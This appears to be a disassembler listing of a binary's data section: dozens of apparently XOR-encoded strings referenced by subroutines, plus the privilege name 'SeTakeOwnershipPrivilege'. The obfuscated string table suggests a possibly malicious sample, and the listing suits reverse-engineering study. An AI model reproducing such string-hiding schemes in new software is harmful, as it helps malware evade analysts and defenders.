byte_54F947 db 6 ; DATA XREF: sub_440FB0:loc_441055o
dd 414B1800h, 555D4C4Bh
db 0
byte_54F951 db 8, 0, 0Fh ; DATA XREF: sub_440FB0:loc_44100Fo
aJYflj db '/\J]YFLJ',0
a@ db '@',0 ; DATA XREF: sub_440E73:loc_440EABo
db 18h
db 59h ; Y
db 5Ah, 5Bh, 5Ch
db 5Dh ; ]
db 5Eh, 5Fh, 50h
db 51h ; Q
db 52h, 53h, 54h
db 55h ; U
db 56h, 57h, 48h
db 49h ; I
db 4Ah, 4Bh, 4Ch
db 4Dh ; M
db 4Eh, 4Fh, 40h
db 41h ; A
db 42h, 79h, 7Ah
db 7Bh ; {
db 7Ch, 7Dh, 7Eh
db 7Fh ;
aPqrstuvwhijklm db 'pqrstuvwhijklmno`ab()*+,-./ !37',0
align 4
asc_54F9A4: ; DATA XREF: sub_440B82+28Fo
dw 9
unicode 0, <>,0
aI db '¨',0
db 'Ê',0
db 'Í',0
db 'Î',0
db 'Ç',0
db 'Ú',0
db 'Í',0
aA db 'í',0
db 'Æ',0
db 'Ì',0
db 2 dup(0)
word_54F9BE dw 20h ; DATA XREF: sub_440B82+1F9o
dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h
dd 26762375h, 7625756Dh, 23756D20h
db 6Eh, 0
word_54F9E2 dw 43h ; DATA XREF: sub_440B82+16Eo
dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h
dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch
dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h
dd 65277424h, 3F72243Ch
db 0
byte_54FA29 db 10h, 0, 0BDh ; DATA XREF: sub_440B82+F0o
aSAAsTvAsG db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0
byte_54FA3D db 1Eh, 0, 49h ; DATA XREF: sub_440B82+91o
aU_iTyi_TyiTy db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0
asc_54FA5F db 7,0 ; DATA XREF: sub_440B82+60o
db 0C7h, 0FBh, 0A5h
dd 0A5E8FBF9h
db 0F9h, 0
word_54FA6A dw 0Bh ; DATA XREF: sub_4408C5+224o
dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch
db 0
byte_54FA79 db 0Dh, 0, 74h ; DATA XREF: sub_4408C5+20Fo
dd 71130h, 230D1B06h, 1B101A1Dh
db 3, 0
word_54FA8A dw 0Eh ; DATA XREF: sub_4408C5+1FAo
aAZdDzLzt db 'Ó€¶§„º½·¼¤‡¶«§’',0
dword_54FA9C dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h
; DATA XREF: sub_4408C5+1E5o
asc_54FAB0: ; DATA XREF: sub_4408C5+1D0o
unicode 0, <=>
dw 0Ah
dw 0ACE1h
aOcdIpeoc db '—„¶ˆ…–',0
dword_54FAC0 dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h
; DATA XREF: sub_4408C5+1BBo
dword_54FAD4 dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h db 0A3h, 87h, 0
byte_54FAE3 db 9 ; DATA XREF: sub_4408C5+191o
dd 77551200h, 7C7B4566h, 657D76h
dword_54FAF0 dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h db 0
byte_54FB01 db 0Fh, 0, 0E6h ; DATA XREF: sub_4408C5+167o
aEzkkPivisFiez db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0
dword_54FB14 dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh
; DATA XREF: sub_4408C5+152o
db 8Eh, 0
word_54FB26 dw 0Dh ; DATA XREF: sub_4408C5+13Do
dd 0F1E3C7Bh, 81A1738h, 161A3508h
db 1Eh, 3Ah, 0
byte_54FB37 db 0Eh ; DATA XREF: sub_4408C5+128o
dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h
db 0
byte_54FB49 db 0Ch, 0, 0EAh ; DATA XREF: sub_4408C5+113o
aPdozpsslnpl db '¹„§™™‹«',0
byte_54FB59 db 10h, 0, 0D3h ; DATA XREF: sub_4408C5+FEo
aZbAZUAa db '‡¡²½ ¿²§¶¶ ²´¶',0
asc_54FB6D db 8,0 ; DATA XREF: sub_4408C5+E9o
aXAsMiac db 'å¶€‘±Œˆ€—',0
asc_54FB79 db 8,0 ; DATA XREF: sub_4408C5+D4o
aMJxqKm db '>m[JxQ]KM',0
byte_54FB85 db 0Eh, 0, 0F8h ; DATA XREF: sub_4408C5+BFo
aKaqslmakFsll db 'ªŸ‘‹ŒŠ»”™‹‹¹',0
asc_54FB97 db 0Ah,0 ; DATA XREF: sub_4408C5+AAo
db 80h, 0D3h, 0E8h
dd 0E9D7F7EFh, 0F7EFE4EEh
db 0
byte_54FBA5 db 0Dh, 0, 15h ; DATA XREF: sub_4408C5+95o
aSQbQzbpmt db 'S|{qB|{qzbPmT',0
word_54FBB6 dw 0Fh ; DATA XREF: sub_4408C5+80o
dd 35221350h, 7352431h, 3F343E39h, 11281527h
db 0
byte_54FBC9 db 13h, 0, 45h ; DATA XREF: sub_4408C5+6Bo
dd 3312002h, 2220372Ah, 2B302A37h, 2B2C1221h, 322A21h
dword_54FBE0 dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh db 0B1h, 0
word_54FBF2 dw 0Eh ; DATA XREF: sub_4408C5:loc_440906o
dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch
dword_54FC04 dd 90E5000Ah, 0D6978096h, 8981CBD7h db 89h, 0
word_54FC12 dw 0Ah ; DATA XREF: sub_4408C5+1o
dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh
dword_54FC20 dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh
; DATA XREF: sub_4407D3+D1o
db 0
byte_54FC31 db 0Bh, 0, 0C0h ; DATA XREF: sub_4407D3+B5o
aIEBmzxid db '‰³…±µ¡¬‡•‰„',0
dword_54FC40 dd 2410010h, 2433022Eh, 8243520h, 2035322Fh, 24222Fh
; DATA XREF: sub_4407D3+99o
dword_54FC54 dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh
; DATA XREF: sub_4407D3+7Do
db 0F7h, 0FEh, 0
byte_54FC67 db 0Ch ; DATA XREF: sub_4407D3+61o
dd 19357600h, 21F183Fh, 1F1A171Fh
db 0Ch, 13h, 0
byte_54FC77 db 0Eh ; DATA XREF: sub_4407D3:loc_440818o
dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh
db 0
byte_54FC89 db 9, 0, 7Bh ; DATA XREF: sub_4407D3+2Eo
dd 481E1714h, 171F5549h
db 17h, 0
word_54FC96 dw 9 ; DATA XREF: sub_4407D3+1o
dd 999093FCh, 98D2CECFh
db 2 dup(90h), 0
byte_54FCA3 db 0 ; DATA XREF: sub_44050C:loc_440768o
db 0, 5Eh, 0
byte_54FCA7 db 1 ; DATA XREF: sub_44050C:loc_4406F7o
dd 0D6AE00h
dword_54FCAC dd 124E0001h db 0
byte_54FCB1 db 1, 0, 54h ; DATA XREF: sub_43FD1A:loc_440267o
db 74h, 0
word_54FCB6 dw 0 ; DATA XREF: sub_43FD1A+504o
db 0F1h, 0
word_54FCBA dw 13h ; DATA XREF: sub_43FD1A+4D2o
aTMgaozCnGccknr db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0
a5 db '5',0 ; DATA XREF: sub_43FD1A+4C2o
db 0DAh
dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h
dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh
dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h
db 0F4h, 0
word_54FD0A dw 1 ; DATA XREF: sub_43FD1A:loc_440028o
db 0CAh, 0E7h, 0
byte_54FD0F db 1Eh ; DATA XREF: sub_43FD1A+2B4o
dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h
dd 613001Bh, 521C1D1Bh, 13172Bh
db 0
byte_54FD31 db 1, 0, 3Dh ; DATA XREF: sub_43FD1A:loc_43FF59o
db 1Dh, 0
word_54FD36 dw 1Fh ; DATA XREF: sub_43FD1A+1E3o
aUpjvJquJpjaUjK db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬ã¬·«',0
byte_54FD59 db 12h, 0, 0D0h ; DATA XREF: sub_43FB17+5Ao
aGSgcAvDD db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0
asc_54FD6F db 7,0 ; DATA XREF: sub_43FB17+31o
db 3Dh, 4Eh, 5Bh
dd 5159135Eh
db 51h, 0
word_54FD7A dw 7 ; DATA XREF: sub_43FB17+1o
dd 55504536h, 5A5A5218h
db 0
byte_54FD85 db 1, 0, 0C0h ; DATA XREF: sub_43F81A+205o
db 0BCh, 0
word_54FD8A dw 5Ah ; DATA XREF: sub_43F81A+D5o
dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h
dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h
dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h
dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh
dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h
dword_54FDE8 dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch db 79h, 0
word_54FDFA dw 39h ; DATA XREF: sub_43F81A:loc_43F838o
dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh
dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h
dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h
db 1Ah, 5Ah, 0
aSetakeownershi db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_43ECD2+1C2o
dword_54FE50 dd 0B89D0005h, 0C1EEB8EEh db 0
byte_54FE59 db 5, 0, 0FBh ; DATA XREF: sub_43E77A+1F2o
aIIz db 'ވވ§',0
word_54FE62 dw 3 ; DATA XREF: sub_43E77A+C9o
dd 550C5A7Fh
db 0
byte_54FE69 db 4, 0, 4 ; DATA XREF: sub_43E77A+6Eo
aGX db '!g>X',0
byte_54FE71 db 1, 0, 0E0h ; DATA XREF: sub_43E364+3A5o
db 9Ch, 0
word_54FE76 dw 1 ; DATA XREF: sub_43E364+34Bo
db 0E6h, 9Ah, 0
byte_54FE7B db 19h ; DATA XREF: sub_43E364+2EEo
dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h
dd 0E4FCF8F8h, 0F8EFF9h
dword_54FE98 dd 0F78B0001h db 0
byte_54FE9D db 5, 0, 0ADh ; DATA XREF: sub_43DB03+2CCo
dd 88F1DE88h
db 0DEh, 0
word_54FEA6 dw 5 ; DATA XREF: sub_43DB03+25Eo
aTqQ db 'tQ',7,'(Q',7,0
byte_54FEAF db 4 ; DATA XREF: sub_43DB03+17o
dd 81D7F200h
db 0AEh, 0D8h, 0
byte_54FEB7 db 1 ; DATA XREF: sub_43D41A+284o
dd 654400h
dword_54FEBC dd 0DBF10001h db 0
byte_54FEC1 db 4, 0, 2Eh ; DATA XREF: sub_43D41A+1F3o
a___ db '*...',0
byte_54FEC9 db 1, 0, 2Ch ; DATA XREF: sub_43D090+333o
db 0Fh, 0
word_54FECE dw 1 ; DATA XREF: sub_43D090+2DEo
db 6Fh, 4Ch, 0
byte_54FED3 db 1 ; DATA XREF: sub_43D090+25Eo
dd 0E9CA00h
dword_54FED8 dd 0A3CB0007h, 0F1BBBFBFh db 2 dup(0E4h), 0
byte_54FEE3 db 1 ; DATA XREF: sub_43D090+1F2o
dd 200300h
dword_54FEE8 dd 335B0007h, 612B2F2Fh db 2 dup(74h), 0
byte_54FEF3 db 0Bh ; DATA XREF: sub_43D090+10o
dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h
dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh
dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h, 0C49D9D9Dh
dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh, 0C4938B9Ah
dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh, 8D8FC49Dh
dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h
dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h, 82899C8Bh
dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h
dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h
dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h
dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh, 9D9DC98Bh
dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h
dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah, 0C9878589h
dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h
dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h
dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh
dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h
dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h, 9FC49D9Dh
dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh, 8686859Ah
dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh
dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h
dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh
dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h
dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch
dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h
dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch
dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh, 98C48887h
dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h
dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h
dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h
dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh, 8F88888Bh
dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h, 83868485h
dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h, 999E998Eh
dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h
dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h
dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h
dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h, 0C9908388h
dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh
dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh, 8B88848Bh
dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h
dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh
dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh
dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh
dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h
dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 8F878B84h, 0C9999DC4h
dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h
dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h, 99C99F98h
dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh
dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh
dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh
db 0C9h, 0
word_550302 dw 4 ; DATA XREF: sub_43CCB6+70o
dd 474F5A7Fh
db 27h, 0
word_55030A dw 12h ; DATA XREF: sub_43CBF8:loc_43CC37o
dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh
dword_550320 dd 82E1000Bh, 95919893h, 85CFD3D2h db 2 dup(8Dh), 0
byte_55032F db 0Bh ; DATA XREF: sub_43CBF8+1o
dd 7C6D0E00h, 3D7A7E77h, 626A203Ch
db 62h, 0
word_55033E dw 13h ; DATA XREF: sub_43C7A3+3F0o
dd 8193B7Ch, 0E0E093Fh, 2C081219h, 191F130Eh, 18350F0Fh
db 0
byte_550355 db 9, 0, 0F7h ; DATA XREF: sub_43C7A3+3DBo
aAeugtUit db ' …ƒ’±›’',0
word_550362 dw 11h ; DATA XREF: sub_43C7A3+3C6o
dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h
db 0E1h, 0C5h, 0
byte_550377 db 16h ; DATA XREF: sub_43C7A3+3B1o
dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h
dd 92A0B4BDh
db 0
byte_550391 db 13h, 0, 55h ; DATA XREF: sub_43C7A3+39Co
dd 6213012h, 3021262Ch, 273C1138h, 3A213630h, 142C27h
dword_5503A8 dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5503B8 dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5503C4 dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h
; DATA XREF: sub_43C7A3+35Do
db 0FDh, 0
word_5503D6 dw 0Dh ; DATA XREF: sub_43C7A3+348o
aKiIDIsIm db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0
asc_5503E7 db 0Bh,0 ; DATA XREF: sub_43C7A3+333o
db 86h, 0C5h, 0EAh
dd 0CEE3F5E9h, 0EAE2E8E7h
db 0E3h, 0
word_5503F6 dw 0Eh ; DATA XREF: sub_43C7A3+31Eo
dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h
dword_550408 dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_550418 dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h db 0
byte_550429 db 7, 0, 37h ; DATA XREF: sub_43C7A3+2DFo
aYrort db '`^YrORT',0
asc_550434: ; DATA XREF: sub_43C7A3+2CAo
dw 0Ah
dw 0FBBEh
db 'Æ×ÊêÖÌÛßÚ',0
word_550442 dw 14h ; DATA XREF: sub_43C7A3+2B5o
dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h
db 23h, 0
word_55045A dw 0Dh ; DATA XREF: sub_43C7A3+2A0o
a?yvqQzgkyvsz db '?yVQ[qZGKyVSZ~',0
asc_55046B db 0Dh,0 ; DATA XREF: sub_43C7A3+28Bo
aKiUIasdai db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0
dword_55047C dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55048C dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h
; DATA XREF: sub_43C7A3+261o
dword_5504A0 dd 7127000Bh, 5253554Eh, 55614B46h db 2 dup(42h), 0
byte_5504AF db 0Bh ; DATA XREF: sub_43C7A3+237o
dd 11206300h, 6170206h, 60F0A25h
asc_5504BC: ; DATA XREF: sub_43C7A3+222o
unicode 0, <">
dw 0Ah
dw 0B2FDh
aNsuIise db '˜“°ˆ‰˜…¼',0
asc_5504CC: ; DATA XREF: sub_43C7A3+20Do
dw 0Bh
dw 0C384h
dd 0EDC2F0E1h, 0EDD7E1E8h
db 0FEh, 0E1h, 0
byte_5504DB db 0Bh ; DATA XREF: sub_43C7A3+1F8o
dd 497D3B00h, 52775E5Eh, 495A4959h
db 42h, 0
word_5504EA dw 0Ch ; DATA XREF: sub_43C7A3+1E3o
dd 8398A7F1h, 9D908485h, 9E9D9DB0h
db 92h, 0
word_5504FA dw 10h ; DATA XREF: sub_43C7A3+1CEo
aNlJfdyLGhdlh db ')nL]jFDY\]L[gHDLh',0
asc_55050E db 0Bh,0 ; DATA XREF: sub_43C7A3+1B9o
a6yfsxfdyusee db '6yFSXfDYUSEE',0
byte_55051D db 17h, 0, 0ECh ; DATA XREF: sub_43C7A3+1A4o
aKuiiivEugvbivs db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ',0
dword_550538 dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh
; DATA XREF: sub_43C7A3+18Fo
db 0FAh, 0
word_55054A dw 0Ch ; DATA XREF: sub_43C7A3+17Ao
dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h
db 0FCh, 0
word_55055A dw 14h ; DATA XREF: sub_43C7A3+165o
dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h
db 0C5h, 0
word_550572 dw 14h ; DATA XREF: sub_43C7A3+150o
dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh, 999DA099h
db 91h, 0
word_55058A dw 0Dh ; DATA XREF: sub_43C7A3+13Bo
dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h
db 0F3h, 0CAh, 0
byte_55059B db 9 ; DATA XREF: sub_43C7A3+126o
dd 2F034000h, 29063930h, 1252Ch
dword_5505A8 dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh
; DATA XREF: sub_43C7A3+111o
dd 0DEF1F0F6h
db 0
byte_5505C1 db 8, 0, 45h ; DATA XREF: sub_43C7A3+FCo
dd 21242017h, 20292C03h
db 0
byte_5505CD db 13h, 0, 90h ; DATA XREF: sub_43C7A3+E7o
dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h
dword_5505E4 dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h db 63h, 6Bh, 0
byte_5505F7 db 11h ; DATA XREF: sub_43C7A3+BDo
dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h
dword_55060C dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh
; DATA XREF: sub_43C7A3+A8o
db 6Ah, 79h, 0
byte_550623 db 9 ; DATA XREF: sub_43C7A3+93o
dd 9EBDF100h, 0B79D9092h, 949483h
dword_550630 dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h
; DATA XREF: sub_43C7A3+7Eo
db 0ECh, 0FBh, 0
byte_550647 db 12h ; DATA XREF: sub_43C7A3+69o
dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h
db 0
byte_55065D db 0Bh, 0, 52h ; DATA XREF: sub_43C7A3+54o
dd 373E3716h, 3B143726h, 13373Eh
dword_55066C dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55067C dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh db 0
byte_550689 db 0Ah, 0, 42h ; DATA XREF: sub_43C7A3+15o
dd 23212D0Eh, 2E2E032Eh
db 2Dh, 21h, 0
byte_550697 db 12h ; DATA XREF: sub_43C7A3o
dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h
db 0
byte_5506AD db 6, 0, 4 ; DATA XREF: sub_43C501:loc_43C609o
db '!\)!\%',0
asc_5506B7 db 7,0 ; DATA XREF: sub_43C501+58o
db 0D4h, 88h, 0A4h
dd 0B8B0FAFEh
db 0B8h, 0
word_5506C2 dw 6 ; DATA XREF: sub_43C397+150o
aWpvgep db '$WPVGEP',0
dword_5506CC dd 1C710006h, 1121C14h db 8, 0
word_5506D6 dw 8 ; DATA XREF: sub_43C397+126o
dd 0C0F0A7Ch, 812150Eh
db 1Ah, 0
word_5506E2 dw 7 ; DATA XREF: sub_43C397+111o
aW91 db 'W$',27h,'%>9#1',0
asc_5506ED db 7,0 ; DATA XREF: sub_43C397+FCo
db 9Fh
dd 0EFEAF0EBh, 0EDFAEFh
dword_5506F8 dd 77160004h, 7F7962hdword_550700 dd 0D5B80006h, 0D7D4D4D9h db 0DBh, 0
word_55070A dw 5 ; DATA XREF: sub_43C397+BDo
dd 1D0E0F7Ch
db 12h, 18h, 0
byte_550713 db 6 ; DATA XREF: sub_43C397+A8o
dd 4B673800h, 485D5D54h
db 0
byte_55071D db 4, 0, 0A5h ; DATA XREF: sub_43C397+93o
db 'Ã×ÀÀ',0
byte_550725 db 4, 0, 87h ; DATA XREF: sub_43C397+7Eo
dd 0E3E9E6F5h
db 0
byte_55072D db 6, 0, 0E8h ; DATA XREF: sub_43C397+69o
aEneles db '……‹…˜',0
byte_550737 db 6 ; DATA XREF: sub_43C397+54o
dd 0C1C6B500h, 0CCC5D6C7h
db 0
byte_550741 db 6, 0, 0E8h ; DATA XREF: sub_43C397:loc_43C3D6o
aEnein db '……›œ',0
asc_55074B db 0Ah,0 ; DATA XREF: sub_43C397+28o
db 0D9h, 0BAh, 0ABh
dd 0B5B5BDADh, 0B5B5BDF7h
db 0
byte_550759 db 0Ah, 0, 0F9h ; DATA XREF: sub_43C397+1o
aLnaxxAxx db 'š‹••×••',0
byte_550767 db 0 ; DATA XREF: sub_43C284:loc_43C2E5o
db 0, 9Eh, 0
byte_55076B db 5 ; DATA XREF: sub_43BE84+23Do
dd 782E0B00h, 782E57h
dword_550774 dd 0D8FD0005h, 8ED8A18Eh db 0
byte_55077D db 4, 0, 78h ; DATA XREF: sub_43BE84+Fo
aR db ']',0Bh,'$R',0
byte_550785 db 4, 0, 39h ; DATA XREF: sub_43BE1F+1Co
dd 65035A1Ch
db 0
byte_55078D db 14h, 0, 0B4h ; DATA XREF: sub_43BD23:loc_43BD6Bo
dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h
db 0
byte_5507A5 db 0Bh, 0, 35h ; DATA XREF: sub_43BD23+31o
aEfazgpvQyy db 'EFAZGPV',1Bh,'QYY',0
asc_5507B4 db 0Bh,0 ; DATA XREF: sub_43BD23+1o
dw 1363h
dd 110C1710h, 74D0006h
db 2 dup(0Fh), 0
byte_5507C3 db 6 ; DATA XREF: sub_43BC76+2Do
; sub_444ED7+223o
dd 0B0B0DB00h, 0A3ADF6AAh
db 0
byte_5507CD db 8, 0, 0E3h ; DATA XREF: sub_43BC76:loc_43BC93o
aROciC db 'Ƽ—›Æ–',0
byte_5507D9 db 11h, 0, 0DCh ; DATA XREF: sub_43BA83+24o
dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h
db 0AEh, 0
word_5507EE dw 10h ; DATA XREF: sub_43B309:loc_43B351o
dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h
db 0E1h, 0
word_550802 dw 0Bh ; DATA XREF: sub_43B309+31o
dd 171A0172h, 40411E1Eh, 1E1E165Ch
db 0
byte_550811 db 0Bh, 0, 5Eh ; DATA XREF: sub_43B309+1o
a622mlp22 db '-6;22mlp:22',0
dword_550820 dd 65390001h db 0
byte_550825 db 5, 0, 0EBh ; DATA XREF: sub_4395D8+806o
aPkqk db 'ÅŠŸŠ',0
word_55082E dw 16h ; DATA XREF: sub_438324+EF4o
dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h
dword_550848 dd 0ABE90006h, 0A6BDBDBCh db 0A7h, 0
word_550852 dw 1Eh ; DATA XREF: sub_438324+E29o
dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch
dd 46365B42h, 5536585Fh, 535259h
dword_550874 dd 40130006h, 5A475247h db 50h, 0
word_55087E dw 0 ; DATA XREF: sub_438324+D37o
db 10h, 0
word_550882 dw 4 ; DATA XREF: sub_438324+D27o
dd 101D1C59h
db 0Dh, 0
word_55088A dw 6 ; DATA XREF: sub_438324+C9Fo
aFtvcht3 db 'Ftvcht3',0
dword_550894 dd 0BF9A0004h, 0EFA8B4hdword_55089C dd 0B80000h dword_5508A0 dd 3A790008h, 363B3436h, 21363Bhoff_5508AC dd offset dword_460000 ; DATA XREF: sub_438324+A9Ao
dword_5508B0 dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5508BC dd 6E3D0006h, 74697C69h db 7Eh, 0
word_5508C6 dw 6Eh ; DATA XREF: sub_438324:loc_438C53o
dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h
dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h
dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h
